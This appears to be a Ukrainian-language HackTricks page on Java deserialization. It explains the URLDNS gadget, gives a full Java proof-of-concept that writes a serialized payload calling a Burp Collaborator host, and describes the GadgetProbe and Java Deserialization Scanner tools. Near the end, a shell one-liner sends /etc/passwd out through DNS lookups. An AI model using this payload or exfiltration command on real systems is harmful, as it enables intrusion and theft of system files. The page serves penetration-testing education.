14 KiB
Java DNS Десеріалізація, GadgetProbe та Сканер Десеріалізації Java
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!
Інші способи підтримки HackTricks:
- Якщо ви хочете побачити вашу компанію рекламовану на HackTricks або завантажити HackTricks у форматі PDF, перевірте ПЛАНИ ПІДПИСКИ!
- Отримайте офіційний PEASS & HackTricks мерч
- Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами на Twitter 🐦 @carlospolopm.
- Поділіться своїми хакерськими трюками, надсилайте PR до HackTricks та HackTricks Cloud репозиторіїв GitHub.
Запит DNS під час десеріалізації
Клас java.net.URL
реалізує Serializable
, це означає, що цей клас може бути серіалізований.
public final class URL implements java.io.Serializable {
Цей клас має цікаву поведінку. З документації: "Два хости вважаються еквівалентними, якщо обидва імені хоста можуть бути розкриті в однакові IP-адреси".
Отже, кожного разу, коли об'єкт URL викликає будь-яку з функцій equals
або hashCode
, буде відправлено запит DNS для отримання IP-адреси.
Виклик функції hashCode
з об'єкта URL досить простий, достатньо вставити цей об'єкт всередину HashMap
, який буде десеріалізований. Це тому, що в кінці функції readObject
з HashMap
виконується цей код:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
[ ... ]
for (int i = 0; i < mappings; i++) {
[ ... ]
putVal(hash(key), key, value, false, false);
}
Це виконає putVal
з кожним значенням всередині HashMap
. Але більш важливим є виклик hash
з кожним значенням. Це код функції hash
:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
Як ви можете спостерігати, під час десеріалізації HashMap
функція hash
буде виконуватися з кожним об'єктом і під час виконання hash
буде виконано .hashCode()
об'єкта. Тому, якщо ви десеріалізуєте HashMap
, що містить об'єкт URL, об'єкт URL виконає .hashCode()
.
Тепер давайте подивимося на код URLObject.hashCode()
:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
Як ви бачите, коли URLObject
виконує .hashCode()
, викликається hashCode(this)
. У продовженні ви можете побачити код цієї функції:
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
[ ... ]
Ви можете побачити, що виконується getHostAddress
до домену, запускаючи запит DNS.
Отже, цей клас можна зловживати для запуску запиту DNS для демонстрації, що десеріалізація можлива, або навіть для ексфільтрації інформації (можна додати в якості піддомену вивід виконання команди).
Приклад коду навантаження URLDNS
Ви можете знайти код навантаження URDNS від ysoserial тут. Однак, лише для того, щоб зрозуміти, як його кодувати, я створив свій власний PoC (на основі того, що від ysoserial):
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void GeneratePayload(Object instance, String file)
throws Exception {
//Serialize the constructed payload and write it to the file
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//Read the written payload and deserialize it
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
Object obj = in.readObject();
System.out.println(obj);
in.close();
}
public static void main(final String[] args) throws Exception {
String url = "http://3tx71wjbze3ihjqej2tjw7284zapye.burpcollaborator.net";
HashMap ht = new HashMap(); // HashMap that will contain the URL
URLStreamHandler handler = new SilentURLStreamHandler();
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
// During the put above, the URL's hashCode is calculated and cached.
// This resets that so the next time hashCode is called a DNS lookup will be triggered.
final Field field = u.getClass().getDeclaredField("hashCode");
field.setAccessible(true);
field.set(u, -1);
//Test the payloads
GeneratePayload(ht, "C:\\Users\\Public\\payload.serial");
}
}
class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
Додаткова інформація
- https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
- У початковій ідеї пакунок commons collections був змінений для виконання запиту DNS, це було менш надійно, ніж запропонований метод, але ось посилання на пост: https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/
GadgetProbe
Ви можете завантажити GadgetProbe з Burp Suite App Store (Extender).
GadgetProbe спробує визначити, чи існують деякі класи Java на класі Java сервера, щоб ви могли знати, чи він вразливий до деякого відомого експлойту.
Як це працює
GadgetProbe використовуватиме той самий DNS пакунок з попереднього розділу, але перед виконанням запиту DNS він спробує десеріалізувати довільний клас. Якщо довільний клас існує, запит DNS буде відправлений, і GadgProbe зафіксує, що цей клас існує. Якщо запит DNS ніколи не відправляється, це означає, що довільний клас не був десеріалізований успішно, отже, його або немає, або він не є серіалізованим/експлойтованим.
На GitHub, GadgetProbe має деякі словники з Java класами для тестування.
Додаткова інформація
Сканер десеріалізації Java
Цей сканер можна завантажити з Burp App Store (Extender).
Розширення має пасивні та активні можливості.
Пасивний
За замовчуванням він пасивно перевіряє всі відправлені запити та відповіді, шукаючи магічні байти Java серіалізації і попередження про вразливість, якщо будь-який з них знайдено:
Активний
Ручне тестування
Ви можете вибрати запит, клацнути правою кнопкою миші та Send request to DS - Manual Testing
.
Потім, всередині Вкладка сканера десеріалізації --> Вкладка ручного тестування ви можете вибрати точку вставки. І запустити тестування (Виберіть відповідну атаку в залежності від використаного кодування).
Навіть якщо це називається "Ручне тестування", це досить автоматизовано. Він автоматично перевіряє, чи вразлива десеріалізація на будь-який пакунок ysoserial, перевіряючи бібліотеки, присутні на веб-сервері, і підкреслює вразливі. Для перевірки вразливих бібліотек ви можете вибрати запуск Javas Sleeps, sleeps через використання CPU або використання DNS, як це було згадано раніше.
Експлуатація
Після того, як ви виявили вразливу бібліотеку, ви можете відправити запит на вкладку Exploiting Tab.
На цій вкладці вам потрібно вибрати точку введення знову, написати вразливу бібліотеку, для якої ви хочете створити пакунок, і команду. Потім просто натисніть відповідну кнопку Атаки.
Інформація про витік Java Deserialization DNS
Зробіть ваш пакунок виконати щось на зразок:
(i=0;tar zcf - /etc/passwd | xxd -p -c 31 | while read line; do host $line.$i.cl1k22spvdzcxdenxt5onx5id9je73.burpcollaborator.net;i=$((i+1)); done)
Додаткова інформація
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!
Інші способи підтримки HackTricks:
- Якщо ви хочете побачити вашу компанію рекламовану в HackTricks або завантажити HackTricks у форматі PDF, перевірте ПЛАНИ ПІДПИСКИ!
- Отримайте офіційний PEASS & HackTricks мерч
- Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами на Twitter 🐦 @carlospolopm.
- Поділіться своїми хакерськими трюками, надсилайте PR до HackTricks і HackTricks Cloud репозиторіїв на GitHub.